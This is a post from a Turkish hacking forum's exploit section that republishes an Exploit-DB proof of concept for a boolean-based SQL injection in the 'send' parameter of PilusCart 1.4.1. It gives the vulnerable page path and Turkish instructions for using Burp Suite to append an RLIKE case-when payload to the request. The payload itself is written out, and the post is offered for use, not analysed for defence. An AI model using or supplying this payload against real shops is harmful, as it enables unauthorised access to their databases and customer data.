Turkhackteam.net/org - Turkish Hacking & Security Platform  
Geri git   Turkhackteam.net/org - Turkish Hacking & Security Platform >
Turkhackteam Under Ground
> Exploitler

Exploitler Exploit Nedir ? Nasıl Kullanılır Ve Yeni Çıkan Exploitler Hakkında Bilgi ...


PilusCart 1.4.1 - 'send' SQL Injection

Exploitler

Yeni Konu aç Cevapla
 
Seçenekler
Alt 19-02-2019 15:03   #1
  • Anka Saldırı Timi Asistanı
  • Üye Bilgileri
Üyelik tarihi
07/2014
Nereden
127.0.0.1
Yaş
20
Mesajlar
Konular

Teşekkür (Etti): 54
Teşekkür (Aldı): 110


PilusCart 1.4.1 - 'send' SQL Injection



# Exploit Title/Exploit Başlığı: PilusCart 1.4.1 - 'send' SQL Vulnerability
# Dork: N/A
# CVE: N/A
# Date/Tarih: 10-02-2019
# Exploit Author/Exploit Yazarı: Mehmet EMIROGLU
# Vendor Homepage/Yapımcı Sitesi: https://sourceforge.net/projects/pilus/
# Software Link/Yazılımın Linki: https://sourceforge.net/projects/pilus/
# Version/Versiyon: 1.4.1
# Category/Kategori: Webapps
# Tested on/Test Edilen Sistem: Wamp64, @win
# Software description/Yazılım Açıklaması: PilusCart, PHP dilinde bugün en popüler web tabanlı çevrimiçi mağaza yönetim sistemidir. Verileri depolamak için PilusCart MySQL ilişkisel veritabanı yönetim sistemini kullanır.

Şuraya girin http://localhost/PiLUS/read-apa-itu-pdo
linkte verdiğim kırmızı alanları doldurun
https://i.hizliresim.com/MV11La.jpg
Burp suite ile kullanın. Sonra payload ı atak isteğinin sonuna ekleyin.



# POC - SQL (Boolean Based String)
# Parameters : send
# Attack Pattern : RLIKE (case when 7488715=7488715 then
0x656d69726f676c75 else 0x28 end)

# POST Request :
http://localhost/PiLUS/read-apa-itu-...174&send=Kirim


RLIKE
(case when 7488715=7488715 then 0x656d69726f676c75 else 0x28 end)


Exploit linki : https://www.exploit-db.com/exploits/46368



___________________________________________

NE MUTLU TÜRK'ÜM DİYENE

 Offline  
 
Alıntı ile Cevapla
Cevapla

Bookmarks

Seçenekler


Bilgilendirme Turkhackteam.net/org
Sitemizde yer alan konular üyelerimiz tarafından paylaşılmaktadır.
Bu konular yasalara uygunluk ve telif hakkı konusunda yönetimimiz tarafından kontrol edilse de, gözden kaçabilen içerikler yer alabilmektedir.
Bu tür konuları turkhackteamiletisim [at] gmail.com mail adresimize bildirebilirsiniz, konular hakkında en kısa sürede gerekli işlemler yapılacaktır.
Please Report Abuse, DMCA, Harassment, Scamming, Warez, Crack, Divx, Mp3 or any Illegal Activity to turkhackteamiletisim [at] gmail.com

Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz.
Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.



         

Powered by vBulletin® Copyright ©2000 - 2019

TSK Mehmetçik Vakfı

Türk Polis Teşkilatını Güçlendirme Vakfı

Google+
Pomeranian Boo
instagram takipci hilesi

wau